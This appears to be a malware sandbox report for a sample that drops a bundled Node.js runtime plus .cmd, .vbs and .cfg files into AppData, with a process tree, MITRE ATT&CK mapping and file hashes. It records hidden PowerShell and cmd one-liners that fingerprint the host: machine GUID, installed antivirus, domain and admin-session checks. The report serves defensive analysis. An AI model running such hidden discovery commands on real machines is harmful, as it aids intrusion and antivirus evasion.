        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4800
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:3924
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:1244
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3736
        
        C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
        7⤵
        
        PID:5660
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4316
        
        C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid
        7⤵
        Queries registry keys for unique system GUIDs
        
        PID:4796
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_VideoController).Name -join ', '""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5552
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:5484
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_VideoController).Name -join ', '"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1076
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { (Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA Stop).displayName -join ', ' } catch { 'none' }""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5824
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { (Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA Stop).displayName -join ', ' } catch { 'none' }"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:896
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).Domain""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2452
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).Domain"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3660
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).PartOfDomain""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1632
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).PartOfDomain"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5560
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3588
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:4616
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:5592
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4168
        
        C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
        7⤵
        
        PID:5980
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3180
        
        C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid
        7⤵
        Queries registry keys for unique system GUIDs
        
        PID:372

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:4088

C:\Windows\SysWOW64\cmd.exe
C:\Windows\SysWOW64\cmd.exe
1⤵
- System Location Discovery: System Language Discovery
PID:4304

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Defense Evasion

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e5975f2.rbs

Path C:\Config.Msi\e5975f2.rbs
Size 8KB
SHA256 e9a86159a2bcd2fd57da2cf30133a94fa719ccedce1d92c6079b4cb32e002f20
MD5 fa22c719c12c9b3d23b642c7f6f722e0
SHA1 f38eb399dc99476d7a2bbb12bbd244f40e058cd8
SHA512 ad48637f6c1c6839c14a960ce6f52173eb4f209d33ef9e63bc84e1b1b7cd6bb3651e7bd67d37cae187a32adec4202305c8df0a5d7c8e29af9b991a5d358dfe6a
SSDEEP 96:fwKHDh7Mu9kzZ1RCr/pHURDzCsThqRURDzC6jenV8EBpThqWH8+jpI7iyb49reCF:fwq6nRCF0luIlluxnNw7Wzp6no
TLSH
T1B11250017590D6F6F8E51B34C7131318377AE7DADA32275B08CE86A05F137A9EA980C7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DeployFinalize.cmd

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\DeployFinalize.cmd
Size 7KB
SHA256 a3b644187cc615f8f1866a6c6d5c78116da86f55dfc9e332d01ca2099d97c18d
MD5 4469143959026af57133e2540f5b418f
SHA1 7e34696c71d60b4feb006a658489d257964523c5
SHA512 c87630bea9f2d3075fe59cf59b32a839524961deb644d8b85e024631aef1a2542db79ad2db4d0adaefe1a2310639f4580262f2e43c2775aa0b885808ba0a67de
SSDEEP 192:2Z1nvX7Pm3XLttdi5yvqXTdbHPhVSTWM3ECWXkWXwXDvC+UcyccyQ+:W1vuJSZ7P+aMUCWXkWXwXDvlcE/
TLSH
T17AE1A6B526A4B50E08BC5BA5163222C57F1BD10A3328FFE4E8999585F08F7513AFD3E4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ebs4HnHPwUzU.cfg

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\ebs4HnHPwUzU.cfg
Size 12KB
SHA256 2e733e4d49dec89e558936e5ebd570e5df53d9f57ed0adcef6eee442b54cc08f
MD5 d47fcda3253abe2aa325960fc8f03642
SHA1 9563798f6a8f60d446c8df9410d01019aad6c624
SHA512 ca3c997567300e04e1d0a0f3ebdfa3c46ad2596bf654a254992d117dac8583ee71b033b2ed2d5909188ede78c2667ca7c6b654dbecb43b115309c482222a3146
SSDEEP 384:2QuNKDCXk698Dt39h2V9p16+QMLn62MRBpjWwUvSgiwgmfV:2QOKD7698Dt39h+9/HQMLn62MRBpBUqM
TLSH
T11442B46E6F590056B20AB0BBAA308499D5D18E84E6CCDEDDFF0C3C69F965784C4F9310
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\@npmcli\query\LICENSE
Size 818B
SHA256 733dcbf5b1c95dc765b76db969b998ce0cbb26f01be2e55e7bccd6c7af29cb04
MD5 2916d8b51a5cc0a350d64389bc07aef6
SHA1 c9d5ac416c1dd7945651bee712dbed4d158d09e1
SHA512 508c5d1842968c478e6b42b94e04e0b53a342dfaf52d55882fdcfe02c98186e9701983ab5e9726259fba8336282e20126c70d04fc57964027586a40e96c56b74
TLSH
T14301128A62E62A9055D19F956DA2B89E61CCF0673903681430B4E24CDA7704AC07E414
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\@npmcli\run-script\LICENSE
Size 754B
SHA256 45e433413760dc3ae8169be5ed9c2c77adc31ad4d1bc5a28939576df240f29a0
MD5 d2cf52aa43e18fdc87562d4c1303f46a
SHA1 58fb4a65fffb438630351e7cafd322579817e5e1
SHA512 54e33d7998b5e9ba76b2c852b4d0493ebb1b1ee3db777c97e6606655325ff66124a0c0857ca4d62de96350dbaee8d20604ec22b0edc17b472086da4babbbcb16
TLSH
T1DC01208FB2E52AD454D19BA53DA1EC8961C9F0773D43AA0430B4E34CCBB780F98AB404
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\@sigstore\sign\LICENSE
Size 11KB
SHA256 7b0ce3425a26fdba501cb13508af096ade77e4036dd2bd8849031ddecf64f7c9
MD5 dfc1b916d4555a69859202f8bd8ad40c
SHA1 fc22b6ee39814d22e77fe6386c883a58ecac6465
SHA512 1fbe6bb1f60c8932e4dcb927fc8c8131b9c73afd824ecbabc2045e7af07b35a4155a0f8ad3103bf25f192b6d59282bfc927aead3cb7aaeb954e1b6dbd68369fa
SSDEEP 192:qf9qG4QSAVOSbwF1wOFXuFJyQtxmG3ep/7rlzKfHbxc+Xq0rhlkT8cHfH2:kOu9b01DY/rGBt+dc+aclkT8cH+
TLSH
T1B932722BBA4903771AF20162AB4764CEF31EA03F37591525315CC1682F7B96183FB69E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

witness.js

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\@sigstore\sign\dist\witness\witness.js
Size 79B
SHA256 ef1f170ad28f2d870a474d2f96ae353d770fff5f20e642cd8f9b6f1d7742df13
MD5 24563705cc4bb54fccd88e52bc96c711
SHA1 871fa42907b821246de04785a532297500372fc7
SHA512 2ce8d2cf580623358fef5f4f8925d0c9943a657c2503c80048ca789bf16eacdb980bfc8aaaa50101a738e939926fcf2545500484dcad782c700ee206d8c6f9b9
TLSH
T1C4A01201A934C5F1038000C44525E0C1A0C10432006528A55BA84D65440088C5050001
MD5 SHA1 SHA512 TLSH

Submit Download

license

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\ansi-styles\license
Size 1KB
SHA256 fcf1a18be2e25ba82acf2c59821b030d8ee764e4e201db6ef3c51900d385515f
MD5 b862aeb7e1d01452e0f07403591e5a55
SHA1 b8765be74fea9525d978661759be8c11bab5e60e
SHA512 885369fe9b8cb0af1107ee92b52c6a353da7cf75bc86abb622e2b637c81e9c5ffe36b0ac74e11cfb66a7a126b606fe7a27e91f3f4338954c847ed2280af76a5f
TLSH
T1A821961E72551363186613E069A9ACC5B32BB11F7DAF5684286DF248633746CD4FB844
MD5 SHA1 SHA512 TLSH

Submit Download

license

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\env-paths\license
Size 1KB
SHA256 67292c32894c8ac99db06ffa1cb8e9a5171ef988120723ebe673bf76712260ec
MD5 5ad87d95c13094fa67f25442ff521efd
SHA1 01f1438a98e1b796e05a74131e6bb9d66c9e8542
SHA512 7187720ccd335a10c9698f8493d6caa2d404e7b21731009de5f0da51ad5b9604645fbf4bc640aa94513b9eb372aa6a31df2467198989234bc2afbce87f76fbc3
TLSH
T18521961D72551363186613A069A9ACC5B32BB11F7DAF5684286DF248633746CD4FB844
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\ignore-walk\LICENSE
Size 780B
SHA256 3f24d692d165989cd9a00fe35ca15a2bc6859e3361fa42aa20babd435f2e4706
MD5 b020de8f88eacc104c21d6e6cacc636d
SHA1 20b35e641e3a5ea25f012e13d69fab37e3d68d6b
SHA512 4220617e29dd755ad592295bc074d6bc14d44a1feeed5101129669f3ecf0e34eaa4c7c96bbc83da7352631fa262baab45d4a370dad7dabec52b66f1720c28e38
TLSH
T1D501418FB2A12A8414D09B643DA1EC8971C9F03B3C43AA153074E258C7BB80F947A400
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\libnpmpublish\LICENSE
Size 730B
SHA256 2ef361317adeda98117f14c5110182c28eae233af1f7050c83d4396961d14013
MD5 072ac9ab0c4667f8f876becedfe10ee0
SHA1 0227492dcdc7fb8de1d14f9d3421c333230cf8fe
SHA512 f38fd6506bd9795bb27d31f1ce38b08c9e6f1689c34fca90e9e1d5194fa064d1f34a9c51d15941506ebbbcd6d4193055e9664892521b7e39ebcd61c3b6f25013
TLSH
T1C001D08FA2D12AD454D59F643DA1BD4861C9F17B7D43AB043074E358DB7744F986A404
MD5 SHA1 SHA512 TLSH

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\lru-cache\dist\commonjs\package.json
Size 28B
SHA256 58b55392b5778941e1e96892a70edc12e2d7bb8541289b237fbddc9926ed51bd
MD5 56368b3e2b84dac2c9ed38b5c4329ec2
SHA1 f67c4acef5973c256c47998b20b5165ab7629ed4
SHA512 d662bff3885118e607079fcbeedb27368589bc0ee89f90b9281723fa08bda65e5a08d9640da188773193c0076ec0a5c92624673a6a961490be163e2553d6f482
MD5 SHA1 SHA512

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\lru-cache\dist\esm\package.json
Size 26B
SHA256 1bf0e53fc74b05f1aade7451fbac72f1944b067d4229d96bae7a225519a250e4
MD5 2324363c71f28a5b7e946a38dc2d9293
SHA1 7eda542849fb3a4a7b4ba8a7745887adcade1673
SHA512 7437cf8f337d2562a4046246fbfcc5e9949f475a1435e94efbc4b6a55880050077d72692cbc3413e0ccd8f36adf9956a6cc633a2adc85fbff6c4aa2b8edac677
MD5 SHA1 SHA512

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\minizlib\node_modules\minipass\LICENSE
Size 802B
SHA256 04400db77d925de5b0264f6db5b44fe6f8b94f9419ad3473caaa8065c525c0be
MD5 d7c8fab641cd22d2cd30d2999cc77040
SHA1 d293601583b1454ad5415260e4378217d569538e
SHA512 278ff929904be0c19ee5fb836f205e3e5b3e7cec3d26dd42bbf1e7e0ca891bf9c42d2b28fce3741ae92e4a924baf7490c7c6c59284127081015a82e2653e0764
TLSH
T15F01128FB295269419D09B943DA1AC8961C9F0773D43AE153074E248C7AB40EA47A404
MD5 SHA1 SHA512 TLSH

Submit Download

index.js

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\minizlib\node_modules\minipass\index.js
Size 16KB
SHA256 7a395802fbe01bb3dc8d09586e0864f255874bf897378e546444fbaec29f54c5
MD5 bc0c0eeede037aa152345ab1f9774e92
SHA1 56e0f71900f0ef8294e46757ec14c0c11ed31d4e
SHA512 5f31251825554bf9ed99eda282fa1973fcec4a078796a10757f4fb5592f2783c4ebdd00bdf0d7ed30f82f54a7668446a372039e9d4589db52a75060ca82186b3
SSDEEP 384:PjFrIA8zJ08TEcGpIuqbI0WXsJY+cHK+34x2WkFUasBq7BmDWC:PjFrIKf8JKjV0DJ
TLSH
T196722F552B9E61229373B77ADD47900FE722141B393F5014B8AC46D02FB99B48B38EF9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\minizlib\node_modules\minipass\package.json
Size 1KB
SHA256 c3052bd85910be313e38ad355528d527b565e70ef15a784db3279649eee2ded5
MD5 d116a360376e31950428ed26eae9ffd4
SHA1 192b8e06fb4e1f97e5c5c7bf62a9bff7704c198b
SHA512 5221c7648f4299234a4637c47d3f1eb5e147014704913bc6fdad91b9b6a6ccc109bced63376b82b046bb5cad708464c76fb452365b76dbf53161914acf8fb11a
TLSH
T1AB217927DD589D7715B52760A8781603F2635B2F20348C0B75F6012E9FB392B0099BAC
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE.md

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\npm-pick-manifest\LICENSE.md
Size 771B
SHA256 b49c8d25a8b57fa92b2902d09c4b8a809157ee32fc10d17b7dbb43c4a8038f79
MD5 e9dc66f98e5f7ff720bf603fff36ebc5
SHA1 f2b428eead844c4bf39ca0d0cf61f6b10aeeb93b
SHA512 8027d65e1556511c884cb80d3c1b846fc9d321f3f83002664ad3805c4dee8e6b0eaf1db81c459153977bdbde9e760b0184ba6572f68d78c37bff617646bcfc3b
TLSH
T15F01259A62E56DF46DD19F806DF1B98D70CCF076BC47A91530A8E258C7B704F88AE414
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\promise-all-reject-late\LICENSE
Size 763B
SHA256 1fccd0ad2e7e0e31ddfadeaf0660d7318947b425324645aa85afd7227cab52d7
MD5 7428aa9f83c500c4a434f8848ee23851
SHA1 166b3e1c1b7d7cb7b070108876492529f546219f
SHA512 c7f01de85f0660560206784cdf159b2bdc5f1bc87131f5a8edf384eba47a113005491520b0a25d3cc425985b5def7b189e18ff76d7d562c434dc5d8c82e90cce
TLSH
T14701F18FB2A16A9454D19B653DA1ED8961CDF0373D43AA143075E258C77780FA46A404
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\treeverse\LICENSE
Size 771B
SHA256 24b8d53712087b867030d18f2bd6d1a72c78f9fb4dee0ce025374da25e4443b9
MD5 1d7c74bcd1904d125f6aff37749dc069
SHA1 21e6dfe0fffc2f3ec97594aa261929a3ea9cf2ab
SHA512 b5ac03addd29ba82fc05eea8d8d09e0f2fa9814d0dd619c2f7b209a67d95b538c3c2ff70408641ef3704f6a14e710e56f4bf57c2bb3f8957ba164f28ee591778
TLSH
T14801F18FB2D52A9454D19B653DA1EC8961C9F0773D43AA0530B4E248C7AB40F95BA404
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE-MIT.txt

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\wrap-ansi\node_modules\emoji-regex\LICENSE-MIT.txt
Size 1KB
SHA256 f996f6e050e6fc18086162b4b44e301bba345c87deca83f57a27e6d54195556e
MD5 e0be9e751faf84fbb7c61c63af745e32
SHA1 48e53e2b46d48cc6ea16f03ab1ecb69a86f5db0b
SHA512 6686277ceafd63dc89b17315c43134098cd131d16c7d42fad82cee5b7c78e4aa1f7cb199db352b9e54adb3f09dc77b1dc6665a5667c4ab8b3639fa254e20ecce
TLSH
T1D211895FB261137B1C66139069A4AC85B36B715BBDFF2384345DF244231A468D9F7C04
MD5 SHA1 SHA512 TLSH

Submit Download

index.js

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\wrap-ansi\node_modules\emoji-regex\es2015\index.js
Size 17KB
SHA256 77f404d608e2a98f2a038a8aa91b83f0a6e3b4937e5de35a8dae0c23aa9ee573
MD5 cf8f16c1aa805000c832f879529c070c
SHA1 54cc4d6c9b462ad2de246e28cd80ed030504353d
SHA512 a786e51af862470ae46ad085d33281e45795c24897e64b2c4b265302fa9cbfa47b262ec188adbc80d51cfc6ba395b500c0d7f5d343ca4fc2b828eaedba4bd29a
SSDEEP 192:4uyCa20qNgG/kFBEKT4BlvFuTMS8Z4wZQZotVNZl8b2vKO9XuLYRfTAkCwtU1kIz:4ng4LYVNn8b8K+eLWD7GxusJ/DdVd5
TLSH
T1C572C0BC008846963D2DE0D4AF74EAD62A8D4B4A240CD3365F9BF83776C64F4ED994E1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.js

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\wrap-ansi\node_modules\emoji-regex\index.js
Size 15KB
SHA256 5b3c0ac6483d83e6c079f9ffd1c7a18e883a9aaeaedb2d65dd9d5f78153476b9
MD5 9841536310d4e186a474dfa2acf558cd
SHA1 33fabbcc5e1adbe0528243eafd36e5d876aaecaa
SHA512 b67680a81bb4b62f959ba66476723eb681614925f556689e4d7240af8216a49f0d994c31381bf6a9489151d14ed8e0d0d4d28b66f02f31188059c9b24aaa3783
SSDEEP 96:49tOjllm4Uh4zutkZyhRA4JUraRFsw7ZpqsFRatj9Fnkz+jmS0WVJK4m1io++QdO:4bzTgMU4GgawCZleYwZG038i
TLSH
T10362C0B08521BE6634B2001B9D545B1FF0A8954BE962EF3797ACF19EB345131CAC36F8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

regehcnws.vbs

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\regehcnws.vbs
Size 417B
SHA256 f30c15636461e86c09ff29c87020801bf48948eee24f16424cec179b48d666bf
MD5 d8b338b91d56d2b24e2c0db106c58cd5
SHA1 635b57117217cbc230d377f7042482f3be0d0927
SHA512 1e6dd290798b3efb29fad334fad1ed4f016afabd33e22c033716aeba0f26e802d6473df672430038fbccd01605f0c033c69fc3f4d01edbf15985a8ad339e3f74
TLSH
T146E0234DFD5DD173029142473763CE1ABF606DB9F41664CF255CC44510011990E52525
MD5 SHA1 SHA512 TLSH

Submit Download